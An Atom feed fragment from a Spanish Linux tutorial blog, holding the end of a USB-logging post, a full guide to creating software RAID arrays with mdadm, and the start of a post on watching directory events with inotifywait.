&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;sqlite &lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #d2cd86;&quot;&gt;/&lt;/span&gt;listaUSBs&lt;span style=&quot;color: #d2cd86;&quot;&gt;.&lt;/span&gt;db &lt;span style=&quot;color: #02d045;&quot;&gt;&quot;DELETE FROM lista_usbs;&quot;&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
Con ello tendríamos todo monitorizado y registrado en nuestro equipo ganando un gran control sobre la actividad USB en nuestro equipo. Obviamente dicho script sería solamente un ejemplo teórico que puede ser modificado a nuestro gusto para que se adapte lo mejor posible a nuestras necesidades.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/8098718055267798782/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/02/registrar-usbs-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8098718055267798782'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/8098718055267798782'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/02/registrar-usbs-linux.html' title='Cómo registrar qué USBs se han conectado en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitRTcLQay1NCo52ITvhTeyBewFIV4cUDy3hBvot38LUaW1RbuBmfm6HnDYiL_gdxqCBLJleqjeQPWUh6tCoh9PYRYjDO3gjpEr0FLVPi8j76x9acDcRPgzrMuyynbcitLFpyfk5YTC1bX8/s72-c/USB_portada.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-874057118602331315</id><published>2018-02-08T21:51:00.001+01:00</published><updated>2018-02-08T21:51:36.786+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Disco"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo crear un RAID por software mediante mdadm en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Cuando hablamos de servidores y/o equipos que tienen que almacenar un gran volumen de datos importantes, nos vemos obligados a usar tecnologías que aseguren la integridad de nuestros datos en caso de desastre, mediante la tecnología &lt;b&gt;RAID&lt;/b&gt;, pues es gracias a ésta que la rotura de un disco duro no es tan &quot;grave&quot; como debería. Generalmente la configuración de discos en RAID se suele hacer desde la propia controladora que incluye el hardware, pero no siempre podemos trabajar en las circunstancias ideales, y ahí es donde debemos de optar por una solución algo menos cómoda, pero igual de útil. La creación de RAID por software, que en este caso realizaremos gracias a la herramienta &lt;b&gt;mdadm&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUxuyLgPgMwBLFUg3BRtVrQlNbuiL8MRJTbgojCXTctq13SgXayEAxWE_tzQL_EgHuHjL1RkCdoMwviMcq5fXrftEXaF0jfBW4rdfDCSuxN5bKF8vFmN5RyMwy56_TFEmBhk29NJdcxWhH/s1600/RAID_PORTADA.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;RAID_portada&quot; border=&quot;0&quot; data-original-height=&quot;270&quot; data-original-width=&quot;650&quot; height=&quot;132&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUxuyLgPgMwBLFUg3BRtVrQlNbuiL8MRJTbgojCXTctq13SgXayEAxWE_tzQL_EgHuHjL1RkCdoMwviMcq5fXrftEXaF0jfBW4rdfDCSuxN5bKF8vFmN5RyMwy56_TFEmBhk29NJdcxWhH/s320/RAID_PORTADA.png&quot; title=&quot;RAID_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Antes de proseguir, creo que es interesante que todo aquel que no esté familiarizado con la tecnología RAID, y con los diferentes tipos, tenga una pequeña noción tanto del RAID como de los distintos tipos de éste.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;RAID&lt;/b&gt; (Redundant Array of Independent Disks) permite usar un espacio de almacenamiento repartido entre varios discos para aumentar el rendimiento y/o la tolerancia a fallos. Dependiendo del tipo de RAID escogido, cuya elección haríamos dependiendo de nuestras necesidades, el RAID nos otorgaría unas ventajas u otras, con lo que es interesante conocer los tipos RAID más comunes con el fin de saber qué elección es la más adecuada para nosotros.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;RAID 0:&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
De entre todos los RAID, probablemente sea el más &quot;inútil&quot;, pues su única ventaja es que reparte toda la información en todos los discos que componen el RAID... Esto tiene como ventaja que si tenemos dos discos duros de 1 TB en RAID 0, tendríamos 2TB disponibles para almacenar lo que queramos, si bien tiene una gran desventaja y es que al repartir todo el contenido entre los dos discos, en caso de que uno de los dos fallase, toda la información se perdería, con lo que podríamos decir que el objetivo de este RAID se basa en la rapidez y la eficiencia, dejando de lado cualquier medida que pueda ayudarnos a no perder la información (más allá de las típicas, y al mismo tiempo infravaloradas, copias de seguridad).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56VPtRJWKOovvvWcwDXxjE8DFqA3ErBdOF_9GqfktEL78nzgMhQQ4G1ZkAv1weef4pPn8r67RvEx-PI7H3OY2GMOnGJZR3BoObJi71E574bOO6Tpv6Y2dZb3SP8edRrhecSDd73nj1GEY/s1600/RAID_0.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;RAID_0&quot; border=&quot;0&quot; data-original-height=&quot;239&quot; data-original-width=&quot;180&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg56VPtRJWKOovvvWcwDXxjE8DFqA3ErBdOF_9GqfktEL78nzgMhQQ4G1ZkAv1weef4pPn8r67RvEx-PI7H3OY2GMOnGJZR3BoObJi71E574bOO6Tpv6Y2dZb3SP8edRrhecSDd73nj1GEY/s200/RAID_0.png&quot; title=&quot;RAID_0&quot; width=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;u&gt;RAID 1:&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Este sería justo lo contrario al RAID 0, pues así como antes la única función del RAID 0 es la rapidez de acceso a los datos y la capacidad de usar varios discos como si fueran uno solo, en este caso el objetivo del RAID 1 es la tolerancia a fallos. En este caso, RAID 1 lo que haría sería clonar lo guardado en un disco en otro, con el fin de que en caso de que el &quot;primer&quot; disco falle, tengamos el segundo con la información íntegra disponible.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil09uPcz_WUz-AEXPHOSAV6OK7UJ5Ul4CwSm8fI8vVF5lCpkaFzA1YJOXQB-1vJ2Y333K_MTJKdghgd_jdetw7kvZfdanE37oH3obJXHzSZ77iDYtwRUOJmWtBXLKsWXxrixzhbJ9nLS6w/s1600/RAID_1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;RAID_1&quot; border=&quot;0&quot; data-original-height=&quot;239&quot; data-original-width=&quot;180&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil09uPcz_WUz-AEXPHOSAV6OK7UJ5Ul4CwSm8fI8vVF5lCpkaFzA1YJOXQB-1vJ2Y333K_MTJKdghgd_jdetw7kvZfdanE37oH3obJXHzSZ77iDYtwRUOJmWtBXLKsWXxrixzhbJ9nLS6w/s200/RAID_1.png&quot; title=&quot;RAID_1&quot; width=&quot;150&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;RAID 5:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Probablemente el más famoso de todos en el ámbito de servidores. En este caso no podemos realizar un RAID 5 con solo 2 discos, sino que harían falta un mínimo de &lt;b&gt;&lt;u&gt;3&lt;/u&gt;&lt;/b&gt;. En este caso, el RAID 5 combina capacidad y tolerancia a errores, pues se trata de un RAID que usa tres cuartas partes de cada disco para el espacio en sí, mientras que una cuarta parte de cada uno de ellos es dedicada para la tolerancia a fallos. Además, en caso de que uno de los discos se averiase, tan pronto como se sustituyese, el nuevo disco se llenaría automáticamente con la información que le corresponde gracias a que los otros dos discos saben qué información le falta. Estos gracias a que distribuye cada ciertos bloques de información un bit de paridad permite saber qué información sería necesaria &quot;rellenar&quot; en caso de fallar un disco duro. En caso de que un segundo disco fallase (sin haber llegado a sustituir el primero), se perdería toda la información.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2d4fnHLPfFuo7MTB5xg1ULeIgFU_K3K3QG5759Gq8ljP82b-W-Jemj-KUtI2S1x5m2GbK0iHJRt6mueLiPLuO8L4yArjZ4__AxJCRrUDsT5EVrxO1esQJgIV-JRnehfl4wUl6ebFTQ8eo/s1600/RAID_5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;RAID_5&quot; border=&quot;0&quot; data-original-height=&quot;239&quot; data-original-width=&quot;233&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2d4fnHLPfFuo7MTB5xg1ULeIgFU_K3K3QG5759Gq8ljP82b-W-Jemj-KUtI2S1x5m2GbK0iHJRt6mueLiPLuO8L4yArjZ4__AxJCRrUDsT5EVrxO1esQJgIV-JRnehfl4wUl6ebFTQ8eo/s200/RAID_5.png&quot; title=&quot;RAID_5&quot; width=&quot;194&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Teniendo estos conceptos claros, podemos pasar a la creación y/o configuración de RAIDs; para ello, lo primero e indispensable sería tener instalada la herramienta &lt;b&gt;mdadm&lt;/b&gt;. Dicha herramienta, si bien viene incluida por defecto en los repositorios, no está instalada en el sistema, con lo que si queremos instalarla deberíamos hacer:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;apt-get install mdadm
&lt;/pre&gt;
Una vez tengamos la herramienta instalada; la creación de volúmenes RAID es bastante sencilla; el único requisito es que tengamos dos discos duros (que pueden ser discos duros virtuales) o más para RAID 0 o RAID 1 y tres discos o más para RAID 5. Teniendo esto en cuenta, la sintaxis para la creación de un nuevo RAID por software sería:&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;mdadm -C nombre_raid -l tipo_raid -n número_discos discos_duros_a_usar nombre_discos&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
Si esto se desgranase significaría lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;-C&lt;/b&gt; implica que se va a crear un nuevo RAID, al cual se le va a poner un nombre identificativo que el sistema pueda reconocer como si fuese un dispositivo más. Por norma general se usa como nombre /dev/mdx; por ejemplo &lt;i&gt;/dev/md0&lt;/i&gt;.&lt;/li&gt;
&lt;li&gt;Con el parámetro &lt;b&gt;-l&lt;/b&gt; le estaríamos diciendo qué tipo de RAID queremos... Aquí solamente habría que indicarselo de forma numérica. Es decir que si quisiésemos un RAID 0 solamente especificaríamos el número 0, RAID 1 con el número 1, etc...&lt;/li&gt;
&lt;li&gt;Gracias al parámetro &lt;b&gt;-n&lt;/b&gt; estaríamos indicando el número de discos que van a componer el RAID, tras lo cual indicaríamos el nombre de las unidades que van a componer el susodicho.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Supongamos que vamos a crear un RAID 0 y que tenemos dos discos listos para ser usados llamados /dev/sdc y /dev/sdd. Para componer dicho RAID escribiríamos:&lt;/div&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mdadm -C &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0&lt;/span&gt; -l &lt;span style=&quot;color: #008c00;&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #00dddd;&quot;&gt;-n&lt;/span&gt; &lt;span style=&quot;color: #008c00;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;\&lt;/span&gt;
&lt;span style=&quot;color: #white;&quot;&gt;/dev/sdc&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/dev/sdd&lt;/span&gt;
&lt;/pre&gt;
&lt;div&gt;
Dependiendo del espacio de cada disco, el RAID tardaría desde segundos hasta varios minutos. Tras crear dicho RAID podemos activarlo o desactivarlo a nuestro gusto mediante los siguientes comandos:&lt;br /&gt;
&lt;br /&gt;
Para pararlo:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mdadm -&lt;span style=&quot;color: #white;&quot;&gt;S /dev/md0&lt;/span&gt;
&lt;/pre&gt;
Para arrancarlo:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mdadm -A &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/dev/sdc&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/dev/sdd&lt;/span&gt;
&lt;/pre&gt;
Gracias a ello podemos tener activo el RAID solo cuando nosotros lo veamos conveniente, si bien obviamente el tener inactivo el RAID haría que no pudiésemos acceder a los discos.&lt;br /&gt;
&lt;br /&gt;
En caso de tener el RAID activo, podríamos consultar el estado de este gracias al comando:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mdadm -D &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0&lt;/span&gt;
&lt;/pre&gt;
En mi caso en particular, la información mostrada sería la de a continuación:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfMx-KfFsYny4ViwEbywP9RB_x1o5elO85SHU8WMw1y6xnD_buvZfMCZGytBkWpj2uojJBwdtzShsX0sF3qwrbq8H8fHErYRnSRcatjkwYXKpfw20zqAryNs3zRjzm5y8eAzSWZxknZbUO/s1600/mdadm.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;mdadm_D&quot; border=&quot;0&quot; data-original-height=&quot;414&quot; data-original-width=&quot;512&quot; height=&quot;258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfMx-KfFsYny4ViwEbywP9RB_x1o5elO85SHU8WMw1y6xnD_buvZfMCZGytBkWpj2uojJBwdtzShsX0sF3qwrbq8H8fHErYRnSRcatjkwYXKpfw20zqAryNs3zRjzm5y8eAzSWZxknZbUO/s320/mdadm.PNG&quot; title=&quot;mdadm_D&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Es importante recalcar que aunque el RAID esté creado, este carece de partición ni formato alguno... Con lo que con el fin de que sea usable habría que usar la utilidad &lt;a href=&quot;http://bytelearning.blogspot.com/2015/06/agregando-un-disco-duro-con-fdisk-en.html&quot;&gt;fdisk, y crear una nueva partición&lt;/a&gt;:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;fdisk &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0&lt;/span&gt;
&lt;/pre&gt;
En mi caso habría creado una sola partición cuyo nombre sería &lt;b&gt;md0p1&lt;/b&gt;. A dicha partición habría que darle formato, ya que por defecto no posee ninguno y no puede ser montado en GNU/Linux sin él. Así que le asignaríamos un nuevo formato mediante la herramienta &lt;b&gt;mkfs&lt;/b&gt;; por ejemplo ext4:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mkfs&lt;span style=&quot;color: #e66170; font-weight: bold;&quot;&gt;.&lt;/span&gt;ext4 &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0p1&lt;/span&gt;
&lt;/pre&gt;
Gracias a dicho comando, el RAID tendría una partición plenamente funcional que podría ser montada en el sistema como una partición más mediante el comando &lt;b&gt;mount&lt;/b&gt;. Por ejemplo:&lt;/div&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;mount &lt;span style=&quot;color: #white;&quot;&gt;/dev/md0p1&lt;/span&gt; &lt;span style=&quot;color: #white;&quot;&gt;/mnt&lt;/span&gt;
&lt;/pre&gt;
&lt;div&gt;
Obviamente dicha partición podría ser montada durante el arranque si se incluyese en &lt;b&gt;/etc/fstab&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Como podéis ver la creación y gestión de RAIDs, y el convertirlos en volúmenes funcionales es más sencillo de lo que parece; simplemente habría que tener conocimiento de cada tipo de RAID y la ventaja que ofrece cada tipo.&lt;br /&gt;
&lt;br /&gt;
Espero que os haya resultado útil.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://bytelearning.blogspot.com/feeds/874057118602331315/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://bytelearning.blogspot.com/2018/02/raid-software-mdadm-linux.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/874057118602331315'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/758491715129760469/posts/default/874057118602331315'/><link rel='alternate' type='text/html' href='https://bytelearning.blogspot.com/2018/02/raid-software-mdadm-linux.html' title='Cómo crear un RAID por software mediante mdadm en Linux'/><author><name>Ivan Da Silva</name><uri>http://www.blogger.com/profile/13470310234898491916</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUxuyLgPgMwBLFUg3BRtVrQlNbuiL8MRJTbgojCXTctq13SgXayEAxWE_tzQL_EgHuHjL1RkCdoMwviMcq5fXrftEXaF0jfBW4rdfDCSuxN5bKF8vFmN5RyMwy56_TFEmBhk29NJdcxWhH/s72-c/RAID_PORTADA.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-758491715129760469.post-568305948809798760</id><published>2018-02-01T21:47:00.000+01:00</published><updated>2018-02-01T21:47:38.655+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bash"/><category scheme="http://www.blogger.com/atom/ns#" term="Forense"/><category scheme="http://www.blogger.com/atom/ns#" term="Howto"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Shell"/><title type='text'>Cómo monitorizar eventos de un directorio en tiempo real con inotify en Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
En ocasiones podemos vernos en la situación de querer tener un control de lo que ocurre dentro de un directorio; tal es así el control que queremos que podemos llegar a desear ver todos los eventos en tiempo real que ocurren dentro de un directorio, eventos tales como el listado de archivos, la creación y modificación de estos e incluso la eliminación. Generalmente podemos intentar jugar el comando history para ver los últimos comandos, examinar las últimas fechas de modificación de los ficheros, e incluso examinar sus &lt;a href=&quot;https://www.blogger.com/&quot;&gt;&lt;span id=&quot;goog_1699721266&quot;&gt;&lt;/span&gt;metadatos&lt;span id=&quot;goog_1699721267&quot;&gt;&lt;/span&gt;&lt;/a&gt;, con el fin de averiguar lo máximo posible de lo que ocurre en nuestro equipo; especialmente cuando éste está siendo accedido por varios usuarios a la vez o simplemente tenemos miedo de que lo esté siendo. Es por ello que para ocasiones como esas puede ser muy interesante recurrir a herramientas de observación de eventos en tiempo real para &lt;b&gt;Linux &lt;/b&gt;tales como &lt;b&gt;inotify&lt;/b&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxgVFQM2qiql-BkwnZQFsPjh2p6-nSe0YDzgOP86bErFRgnOv87GYCCKGkYs7IUg_StGaLtcH-fhKvwC-V4ttAEUTZvNY7_gviGl4HxLUVhosPaELC9gtifYpw3zkjrgQkhk6D3u7P5cGE/s1600/inotify_portada.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Inotify_portada&quot; border=&quot;0&quot; data-original-height=&quot;643&quot; data-original-width=&quot;643&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxgVFQM2qiql-BkwnZQFsPjh2p6-nSe0YDzgOP86bErFRgnOv87GYCCKGkYs7IUg_StGaLtcH-fhKvwC-V4ttAEUTZvNY7_gviGl4HxLUVhosPaELC9gtifYpw3zkjrgQkhk6D3u7P5cGE/s320/inotify_portada.png&quot; title=&quot;Inotify_portada&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Inotify es una herramienta con la capacidad de observar eventos en tiempo real dentro de un directorio, lo que nos otorga un gran conocimiento en comparación con otras herramientas, si bien, tal y como he matizado al principio, requiere monitorizar en tiempo real para poder ser funcional. Esta utilidad no está instalada por defecto en el sistema, sino que requiere ser instalada, si bien afortunadamente es realmente sencillo pues está incluida dentro de los repositorios oficiales del sistema:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;apt-get install inotify-tools
&lt;/pre&gt;
Esto hará que se instalen dos herramientas: &lt;b&gt;Inotifywait &lt;/b&gt;e &lt;b&gt;Inotifywatch&lt;/b&gt;. El que nos interesa en concreto es Inotifywait pues ofrece una enorme información.&lt;br /&gt;
&lt;br /&gt;
Un modo muy básico de usar Inotifywait sería de la siguiente forma:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;inotifywait &lt;span style=&quot;color: #white;&quot;&gt;/tmp&lt;/span&gt;
&lt;/pre&gt;
El problema que tiene usar este comando directamente es que efectivamente escuchará los eventos de dicho directorio, pero no será capaz de escuchar los eventos de los subdirectorios de éste y además al recibir un solo evento inotifywait se cerraría automáticamente. Es por ello que conviene conocer cómo usarla para poder sacarle de verdad provecho.&lt;br /&gt;
&lt;br /&gt;
Hay diferentes parámetros y opciones, pero los más importantes serían los de a continuación:&lt;br /&gt;
&lt;b style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;/b&gt;
Comencemos con el parámetro &lt;b&gt;-m&lt;/b&gt;;&lt;b&gt;&amp;nbsp;&lt;/b&gt;La inclusión de este parámetro hará que inotify entre en modo monitorización, con lo que podrá recibir eventos continuamente sin llegar a cerrarse a menos que nosotros le mandemos la &lt;a href=&quot;http://bytelearning.blogspot.com/2015/05/los-procesos-y-senales-en-sistemas-unix.html&quot;&gt;señal&lt;/a&gt;&amp;nbsp;necesaria para que se detenga. Dicho parámetro también podría especificarse también mediante &lt;b style=&quot;font-weight: bold;&quot;&gt;--monitor&lt;/b&gt;. Otro parámetro muy útil sería el&amp;nbsp;&lt;b style=&quot;font-weight: bold;&quot;&gt;-r&lt;/b&gt;;&amp;nbsp;Al usar este parámetro estaríamos indicando que se monitorizase todo el directorio en cuestión y también todos los subdirectorios. El parámetro en cuestión también podría especificarse mediante &lt;b style=&quot;font-weight: bold;&quot;&gt;--recursive&lt;/b&gt;. El último que en mi opinión es también importante tener en cuenta sería el&amp;nbsp;&lt;b style=&quot;font-weight: bold;&quot;&gt;-e&lt;/b&gt;;&lt;span style=&quot;font-weight: bold;&quot;&gt; &lt;/span&gt;Este último es más &quot;opcional&quot; que los dos anteriores, pero puede ser de una enorme utilidad, ya que sirve de filtrador de eventos; es decir que con dicho parámetro veríamos los eventos que nosotros queramos y no todos, que sería lo que se nos mostraría por defecto. El parámetro también puede ser llamado mediante &lt;b&gt;--events&lt;/b&gt;. Obviamente, para poder filtrar los eventos, habría que conocer cuales son... Son un número considerable y, desgraciadamente, no todos son fáciles de recordar, pero es bueno conocer al menos su existencia:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;access&lt;/b&gt;: Este sería uno de los más veríamos, ya que indica que un fichero o el contenido de un directorio ha sido leído.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;modify&lt;/b&gt;: Este parámetro haría que se nos notifique de los cambios que se realicen en el entorno que estamos monitorizando.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;attrib&lt;/b&gt;: Este es ligeramente más raro que el resto, pues solamente notificaría los cambios en los atributos de los ficheros o directorios.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;close_nowrite&lt;/b&gt;: Se notifica cuando se ha cerrado un fichero o directorio que ha sido abierto en modo solo lectura.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;close_write&lt;/b&gt;: Se notifica cuando se cierra un fichero o directorio en modo escritura.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;open&lt;/b&gt;: Especifica que un fichero o directorio ha sido abierto; este mensaje también es de los que más aparecen junto con access.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;moved_to&lt;/b&gt;: Este evento implica que algo ha sido movido &lt;u&gt;hacia&lt;/u&gt;&amp;nbsp;el directorio que estamos monitorizando.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;moved_from&lt;/b&gt;: Este evento indica que algo ha sido movido &lt;u&gt;desde&lt;/u&gt;&amp;nbsp;el directorio que estamos monitorizando.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;move&lt;/b&gt;: Este evento indica que va a haber una actividad de movimiento dentro del directorio que monitorizamos, ya sea desde o hacia el directorio en cuestión.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;create&lt;/b&gt;: En este caso se indicaría que algo (ya sea fichero o directorio) ha sido creado dentro del lugar que estamos monitorizando.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;delete&lt;/b&gt;: Al contrario que create, en este caso se detectaría que algo se ha eliminado.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;delete_self&lt;/b&gt;: Esto indica que el fichero o directorio que estamos monitorizando acaba de ser eliminado.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;umount&lt;/b&gt;: Aquí se detectaría que el sistema de ficheros en que se aloja aquello que estamos monitorizando, acaba de ser desmontado.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;
Es conveniente resaltar que generalmente querremos ver todos los eventos, pero es importante conocer qué eventos se monitorizan para así poder hacer filtrados en caso de tener una necesidad muy concreta... &lt;br /&gt;
&lt;br /&gt;
Teniendo estos conceptos claros podemos hacer cosas como la siguiente:&lt;br /&gt;
&lt;pre style=&quot;background: #000000; color: #d1d1d1;&quot;&gt;inotifywait &lt;span style=&quot;color: #00dddd;&quot;&gt;-r&lt;/span&gt; -m &lt;span style=&quot;color: #white;&quot;&gt;/tmp&lt;/span&gt;
&lt;/pre&gt;
